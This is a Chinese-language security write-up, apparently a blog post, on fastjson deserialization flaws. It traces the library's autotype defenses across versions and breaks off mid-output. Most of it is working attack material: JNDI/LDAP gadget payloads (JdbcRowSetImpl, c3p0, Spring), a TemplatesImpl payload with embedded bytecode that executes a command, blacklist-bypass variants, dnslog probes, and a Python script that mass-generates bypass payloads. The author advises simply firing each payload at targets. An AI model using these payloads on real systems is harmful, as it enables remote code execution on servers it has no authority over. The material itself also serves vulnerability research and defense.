123456789101112131415161718192021222324252627282930313233343536373839404142serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"}-----------------------------------------------JSON.parse(serializedStr):call User default Constructorcall User setNamecall User setAgecall User setFlagparse反序列化对象名称:com.longofo.test.Userparse反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}-----------------------------------------------JSON.parseObject(serializedStr):call User default Constructorcall User setNamecall User setAgecall User setFlagcall User getAgecall User isFlagcall User getNameparseObject反序列化对象名称:com.alibaba.fastjson.JSONObjectparseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}-----------------------------------------------JSON.parseObject(serializedStr, Object.class):call User default Constructorcall User setNamecall User setAgecall User setFlagparseObject反序列化对象名称:com.longofo.test.UserparseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}-----------------------------------------------JSON.parseObject(serializedStr, User.class):call User default Constructorcall User setNamecall User setAgecall User setFlagparseObject反序列化对象名称:com.longofo.test.UserparseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}-----------------------------------------------下面对每个结果做一个简单的说明
JSON.parse(serializedStr)
1234567JSON.parse(serializedStr):call User default Constructorcall User setNamecall User setAgecall User setFlagparse反序列化对象名称:com.longofo.test.Userparse反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}在指定了@type的情况下,自动调用了User类默认构造器,User类对应的setter方法(setAge,setName),最终结果是User类的一个实例,不过值得注意的是public sex被成功赋值了,private address没有成功赋值,不过在1.2.22, 1.1.54.android之后,增加了一个SupportNonPublicField特性,如果使用了这个特性,那么private address就算没有setter、getter也能成功赋值,这个特性也与后面的一个漏洞有关。注意默认构造方法、setter方法调用顺序,默认构造器在前,此时属性值还没有被赋值,所以即使默认构造器中存在危险方法,但是危害值还没有被传入,所以默认构造器按理来说不会成为漏洞利用方法,不过对于内部类那种,外部类先初始化了自己的某些属性值,但是内部类默认构造器使用了父类的属性的某些值,依然可能造成危害。
可以看出,从最原始的版本就开始有autotype功能了,并且autotype默认开启。同时ParserConfig类中还没有黑名单。
JSON.parseObject(serializedStr)
12345678910JSON.parseObject(serializedStr):call User default Constructorcall User setNamecall User setAgecall User setFlagcall User getAgecall User isFlagcall User getNameparseObject反序列化对象名称:com.alibaba.fastjson.JSONObjectparseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}在指定了@type的情况下,自动调用了User类默认构造器,User类对应的setter方法(setAge,setName)以及对应的getter方法(getAge,getName),最终结果是一个字符串。这里还多调用了getter(注意bool类型的是is开头的)方法,是因为parseObject在没有其他参数时,调用了
JSON.toJSON(obj)
,后续会通过gettter方法获取obj属性值:JSON.parseObject(serializedStr, Object.class)
1234567JSON.parseObject(serializedStr, Object.class):call User default Constructorcall User setNamecall User setAgecall User setFlagparseObject反序列化对象名称:com.longofo.test.UserparseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}在指定了@type的情况下,这种写法和第一种
JSON.parse(serializedStr)
写法其实没有区别的,从结果也能看出。JSON.parseObject(serializedStr, User.class)
1234567JSON.parseObject(serializedStr, User.class):call User default Constructorcall User setNamecall User setAgecall User setFlagparseObject反序列化对象名称:com.longofo.test.UserparseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}在指定了@type的情况下,自动调用了User类默认构造器,User类对应的setter方法(setAge,setName),最终结果是User类的一个实例。这种写法明确指定了目标对象必须是User类型,如果@type对应的类型不是User类型或其子类,将抛出不匹配异常,但是,就算指定了特定的类型,依然有方式在类型匹配之前来触发漏洞。
1.2.10测试
对于上面User这个类,测试结果和1.1.157一样,这里不写了。
到这个版本autotype依然默认开启。不过从这个版本开始,fastjson在ParserConfig中加入了denyList,一直到1.2.24版本,这个denyList都只有一个类(不过这个java.lang.Thread不是用于漏洞利用的):
1.2.25测试
测试结果是抛出出了异常:
12345678910111213serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true}-----------------------------------------------JSON.parse(serializedStr):Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.Userat com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)at com.alibaba.fastjson.JSON.parse(JSON.java:137)at com.alibaba.fastjson.JSON.parse(JSON.java:128)at com.longofo.test.Test1.main(Test1.java:14)从1.2.25开始,autotype默认关闭了,对于autotype开启,后面漏洞分析会涉及到。并且从1.2.25开始,增加了checkAutoType函数,它的主要作用是检测@type指定的类是否在白名单、黑名单(使用的startswith方式)
以及目标类是否是两个危险类(Classloader、DataSource)的子类或者子接口,其中白名单优先级最高,白名单如果允许就不检测黑名单与危险类,否则继续检测黑名单与危险类:
增加了黑名单类、包数量,同时增加了白名单,用户还可以调用相关方法添加黑名单/白名单到列表中:
后面的许多漏洞都是对checkAutotype以及本身某些逻辑缺陷导致的漏洞进行修复,以及黑名单的不断增加。
1.2.42测试
与1.2.25一样,默认不开启autotype,所以结果一样,直接抛autotype未开启异常。
从这个版本开始,将denyList、acceptList换成了十进制的hashcode,使得安全研究难度变大了(不过hashcode的计算方法依然是公开的,假如拥有大量的jar包,例如maven仓库可以爬jar包下来,可批量的跑类名、包名,不过对于黑名单是包名的情况,要找到具体可利用的类也会消耗一些时间):
checkAutotype中检测也做了相应的修改:
1.2.61测试
与1.2.25一样,默认不开启autotype,所以结果一样,直接抛autotype未开启异常。
从1.2.25到1.2.61之前其实还发生了很多绕过与黑名单的增加,不过这部分在后面的漏洞版本线在具体写,这里写1.2.61版本主要是说明黑名单防御所做的手段。在1.2.61版本时,fastjson将hashcode从十进制换成了十六进制:
不过用十六进制表示与十进制表示都一样,同样可以批量跑jar包。在1.2.62版本为了统一又把十六进制大写:
再之后的版本就是黑名单的增加了
Fastjson漏洞版本线
下面漏洞不会过多的分析,太多了,只会简单说明下以及给出payload进行测试与说明修复方式。
ver<=1.2.24
从上面的测试中可以看到,1.2.24及之前没有任何防御,并且autotype默认开启,下面给出那会比较经典的几个payload。
com.sun.rowset.JdbcRowSetImpl利用链
payload:
1234567{"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}测试(jdk=8u102,fastjson=1.2.24):
12345678910111213package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test2 {public static void main(String[] args) {String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";// JSON.parse(payload); 成功//JSON.parseObject(payload); 成功//JSON.parseObject(payload,Object.class); 成功//JSON.parseObject(payload, User.class); 成功,没有直接在外层用@type,加了一层rand:{}这样的格式,还没到类型匹配就能成功触发,这是在xray的一篇文中看到的https://zhuanlan.zhihu.com/p/99075925,所以后面的payload都使用这种模式}}结果:
触发原因简析:
JdbcRowSetImpl对象恢复->setDataSourceName方法调用->setAutocommit方法调用->context.lookup(datasourceName)调用
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用链
payload:
1234567891011{"rand1": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],"_name": "aaa","_tfactory": {},"_outputProperties": {}}}测试(jdk=8u102,fastjson=1.2.24):
123456789101112131415161718192021222324252627282930313233343536373839404142434445package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.codec.binary.Base64;public class Test3 {public static void main(String[] args) throws Exception {String evilCode_base64 = readClass();final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String payload = "{'rand1':{" +"\"@type\":\"" + NASTY_CLASS + "\"," +"\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +"'_name':'aaa'," +"'_tfactory':{}," +"'_outputProperties':{}" +"}}\n";System.out.println(payload);//JSON.parse(payload, Feature.SupportNonPublicField); 成功//JSON.parseObject(payload, Feature.SupportNonPublicField); 成功//JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功//JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功}public static class AaAa {}public static String readClass() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.get(AaAa.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "AaAa" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));byte[] evilCode = cc.toBytecode();return Base64.encodeBase64String(evilCode);}}结果:
触发原因简析:
TemplatesImpl对象恢复->JavaBeanDeserializer.deserialze->FieldDeserializer.setValue->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->通过defineTransletClasses,newInstance触发我们自己构造的class的静态代码块
简单说明:
这个漏洞需要开启SupportNonPublicField特性,这在样例测试中也说到了。因为TemplatesImpl类中
_bytecodes
、_tfactory
、_name
、_outputProperties
、_class
并没有对应的setter,所以要为这些private属性赋值,就需要开启SupportNonPublicField特性。具体这个poc构造过程,这里不分析了,可以看下廖大师傅的这篇,涉及到了一些细节问题。ver>=1.2.25&ver<=1.2.41
1.2.24之前没有autotype的限制,从1.2.25开始默认关闭了autotype支持,并且加入了checkAutotype,加入了黑名单+白名单来防御autotype开启的情况。在1.2.25到1.2.41之间,发生了一次checkAutotype的绕过。
下面是checkAutoType代码:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687public Class<?> checkAutoType(String typeName, Class<?> expectClass) {if (typeName == null) {return null;}final String className = typeName.replace('$', '.');// 位置1,开启了autoTypeSupport,先白名单,再黑名单if (autoTypeSupport || expectClass != null) {for (int i = 0; i < acceptList.length; ++i) {String accept = acceptList[i];if (className.startsWith(accept)) {return TypeUtils.loadClass(typeName, defaultClassLoader);}}for (int i = 0; i < denyList.length; ++i) {String deny = denyList[i];if (className.startsWith(deny)) {throw new JSONException("autoType is not support. " + typeName);}}}// 位置2,从已存在的map中获取clazzClass<?> clazz = TypeUtils.getClassFromMapping(typeName);if (clazz == null) {clazz = deserializers.findClass(typeName);}if (clazz != null) {if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;}// 位置3,没开启autoTypeSupport,依然会进行黑白名单检测,先黑名单,再白名单if (!autoTypeSupport) {for (int i = 0; i < denyList.length; ++i) {String deny = denyList[i];if (className.startsWith(deny)) {throw new JSONException("autoType is not support. " + typeName);}}for (int i = 0; i < acceptList.length; ++i) {String accept = acceptList[i];if (className.startsWith(accept)) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader);if (expectClass != null && expectClass.isAssignableFrom(clazz)) {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;}}}// 位置4,过了黑白名单,autoTypeSupport开启,就加载目标类if (autoTypeSupport || expectClass != null) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader);}if (clazz != null) {// ClassLoader、DataSource子类/子接口检测if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver) {throw new JSONException("autoType is not support. " + typeName);}if (expectClass != null) {if (expectClass.isAssignableFrom(clazz)) {return clazz;} else {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}}}if (!autoTypeSupport) {throw new JSONException("autoType is not support. " + typeName);}return clazz;}在上面做了四个位置标记,因为后面几次绕过也与这几处位置有关。这一次的绕过是走过了前面的1,2,3成功进入位置4加载目标类。位置4 loadclass如下:
去掉了className前后的
L
和;
,形如Lcom.lang.Thread;
这种表示方法和JVM中类的表示方法是类似的,fastjson对这种表示方式做了处理。而之前的黑名单检测都是startswith检测的,所以可给@type指定的类前后加上L
和;
来绕过黑名单检测。这里用上面的JdbcRowSetImpl利用链:
1234567{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}测试(jdk8u102,fastjson 1.2.41):
123456789101112131415package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Test4 {public static void main(String[] args) {String payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";ParserConfig.getGlobalInstance().setAutoTypeSupport(true);//JSON.parse(payload); 成功//JSON.parseObject(payload); 成功//JSON.parseObject(payload,Object.class); 成功//JSON.parseObject(payload, User.class); 成功}}结果:
ver=1.2.42
在1.2.42对1.2.25~1.2.41的checkAutotype绕过进行了修复,将黑名单改成了十进制,对checkAutotype检测也做了相应变化:
黑名单改成了十进制,检测也进行了相应hash运算。不过和上面1.2.25中的检测过程还是一致的,只是把startswith这种检测换成了hash运算这种检测。对于1.2.25~1.2.41的checkAutotype绕过的修复,就是红框处,判断了className前后是不是
L
和;
,如果是,就截取第二个字符和到倒数第二个字符。所以1.2.42版本的checkAutotype绕过就是前后双写LL
和;;
,截取之后过程就和1.2.25~1.2.41版本利用方式一样了。用上面的JdbcRowSetImpl利用链:
1234567{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}测试(jdk8u102,fastjson 1.2.42):
123456789101112131415package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Test5 {public static void main(String[] args) {String payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";ParserConfig.getGlobalInstance().setAutoTypeSupport(true);//JSON.parse(payload); 成功//JSON.parseObject(payload); 成功//JSON.parseObject(payload,Object.class); 成功//JSON.parseObject(payload, User.class); 成功}}结果:
ver=1.2.43
1.2.43对于1.2.42的绕过修复方式:
在第一个if条件之下(
L
开头,;
结尾),又加了一个以LL
开头的条件,如果第一个条件满足并且以LL
开头,直接抛异常。所以这种修复方式没法在绕过了。但是上面的loadclass除了L
和;
做了特殊处理外,[
也被特殊处理了,又再次绕过了checkAutoType:用上面的JdbcRowSetImpl利用链:
1{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}测试(jdk8u102,fastjson 1.2.43):
123456789101112131415package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Test6 {public static void main(String[] args) {String payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true]}}";ParserConfig.getGlobalInstance().setAutoTypeSupport(true);// JSON.parse(payload); 成功//JSON.parseObject(payload); 成功//JSON.parseObject(payload,Object.class); 成功JSON.parseObject(payload, User.class);}}结果:
ver=1.2.44
1.2.44版本修复了1.2.43绕过,处理了
[
:删除了之前的
L
开头、;
结尾、LL
开头的判断,改成了[
开头就抛异常,;
结尾也抛异常,所以这样写之前的几次绕过都修复了。ver>=1.2.45&ver<1.2.46
这两个版本期间就是增加黑名单,没有发生checkAutotype绕过。黑名单中有几个payload在后面的RCE Payload给出,这里就不写了
ver=1.2.47
这个版本发生了不开启autotype情况下能利用成功的绕过。解析一下这次的绕过:
- 利用到了
java.lang.class
,这个类不在黑名单,所以checkAutotype可以过 - 这个
java.lang.class
类对应的deserializer为MiscCodec,deserialize时会取json串中的val值并load这个val对应的class,如果fastjson cache为true,就会缓存这个val对应的class到全局map中 - 如果再次加载val名称的class,并且autotype没开启(因为开启了会先检测黑白名单,所以这个漏洞开启了反而不成功),下一步就是会尝试从全局map中获取这个class,如果获取到了,直接返回
这个漏洞分析已经很多了,具体详情可以参考下这篇
payload:
1234567891011{"rand1": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"rand2": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}测试(jdk8u102,fastjson 1.2.47):
1234567891011121314151617181920212223package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test7 {public static void main(String[] args) {String payload = "{\n" +" \"rand1\": {\n" +" \"@type\": \"java.lang.Class\", \n" +" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +" }, \n" +" \"rand2\": {\n" +" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +" \"dataSourceName\": \"ldap://localhost:1389/Object\", \n" +" \"autoCommit\": true\n" +" }\n" +"}";//JSON.parse(payload); 成功//JSON.parseObject(payload); 成功//JSON.parseObject(payload,Object.class); 成功JSON.parseObject(payload, User.class);}}结果:
ver>=1.2.48&ver<=1.2.68
在1.2.48修复了1.2.47的绕过,在MiscCodec,处理Class类的地方,设置了cache为false:
在1.2.48到最新版本1.2.68之间,都是增加黑名单类。
ver=1.2.68
1.2.68是目前最新版,在1.2.68引入了safemode,打开safemode时,@type这个specialkey完全无用,无论白名单和黑名单,都不支持autoType了。
在这个版本中,除了增加黑名单,还减掉一个黑名单:
这个减掉的黑名单,不知道有师傅跑出来没,是个包名还是类名,然后能不能用于恶意利用,反正有点奇怪。
探测Fastjson
比较常用的探测Fastjson是用dnslog方式,探测到了再用RCE Payload去一个一个打。同事说让搞个能回显的放扫描器扫描,不过目标容器/框架不一样,回显方式也会不一样,这有点为难了...,还是用dnslog吧。
dnslog探测
目前fastjson探测比较通用的就是dnslog方式去探测,其中Inet4Address、Inet6Address直到1.2.67都可用。下面给出一些看到的payload(结合了上面的rand:{}这种方式,比较通用些):
12345678910111213141516171819{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}一些畸形payload,不过依然可以触发dnslog:{"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}{"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}{"rand8":Set[{"@type":"java.net.URL","val":"http://dnslog"}{"rand9":{"@type":"java.net.URL","val":"http://dnslog"}:0一些RCE Payload
之前没有收集关于fastjson的payload,没有去跑jar包....,下面列出了网络上流传的payload以及从marshalsec中扣了一些并改造成适用于fastjson的payload,每个payload适用的jdk版本、fastjson版本就不一一测试写了,这一通测下来都不知道要花多少时间,实际利用基本无法知道版本、autotype开了没、用户咋配置的、用户自己设置又加了黑名单/白名单没,所以将构造的Payload一一过去打就行了,基础payload:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586payload1:{"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}payload2:{"rand1": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],"_name": "aaa","_tfactory": {},"_outputProperties": {}}}payload3:{"rand1": {"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties": {"data_source": "ldap://localhost:1389/Object"}}}payload4:{"rand1": {"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean","targetBeanName": "ldap://localhost:1389/Object","propertyPath": "foo","beanFactory": {"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory","shareableResources": ["ldap://localhost:1389/Object"]}}}payload5:{"rand1": Set[{"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor","beanFactory": {"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory","shareableResources": ["ldap://localhost:1389/obj"]},"adviceBeanName": "ldap://localhost:1389/obj"},{"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"}]}payload6:{"rand1": {"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"}}payload7:{"rand1": {"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName": "ldap://localhost:1389/Object","loginTimeout": 0}}...还有很多下面是个小脚本,可以将基础payload转出各种绕过的变形态,还增加了
\u
、\x
编码形式:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103#!usr/bin/env python# -*- coding:utf-8 -*-"""@author: longofo@file: fastjson_fuzz.py@time: 2020/05/07"""import jsonfrom json import JSONDecodeErrorclass FastJsonPayload:def __init__(self, base_payload):try:json.loads(base_payload)except JSONDecodeError as ex:raise exself.base_payload = base_payloaddef gen_common(self, payload, func):tmp_payload = json.loads(payload)dct_objs = [tmp_payload]while len(dct_objs) > 0:tmp_objs = []for dct_obj in dct_objs:for key in dct_obj:if key == "@type":dct_obj[key] = func(dct_obj[key])if type(dct_obj[key]) == dict:tmp_objs.append(dct_obj[key])dct_objs = tmp_objsreturn json.dumps(tmp_payload)# 对@type的value增加L开头,;结尾的payloaddef gen_payload1(self, payload: str):return self.gen_common(payload, lambda v: "L" + v + ";")# 对@type的value增加LL开头,;;结尾的payloaddef gen_payload2(self, payload: str):return self.gen_common(payload, lambda v: "LL" + v + ";;")# 对@type的value进行\udef gen_payload3(self, payload: str):return self.gen_common(payload,lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")# 对@type的value进行\xdef gen_payload4(self, payload: str):return self.gen_common(payload,lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")# 生成cache绕过payloaddef gen_payload5(self, payload: str):cache_payload = {"rand1": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}}cache_payload["rand2"] = json.loads(payload)return json.dumps(cache_payload)def gen(self):payloads = []payload1 = self.gen_payload1(self.base_payload)yield payload1payload2 = self.gen_payload2(self.base_payload)yield payload2payload3 = self.gen_payload3(self.base_payload)yield payload3payload4 = self.gen_payload4(self.base_payload)yield payload4payload5 = self.gen_payload5(self.base_payload)yield payload5payloads.append(payload1)payloads.append(payload2)payloads.append(payload5)for payload in payloads:yield self.gen_payload3(payload)yield self.gen_payload4(payload)if __name__ == '__main__':fjp = FastJsonPayload('''{"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}''')for payload in fjp.gen():print(payload)print()例如JdbcRowSetImpl结果:
123456789101112131415161718192021{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}{"rand1": {"@type": "\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u004c\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": 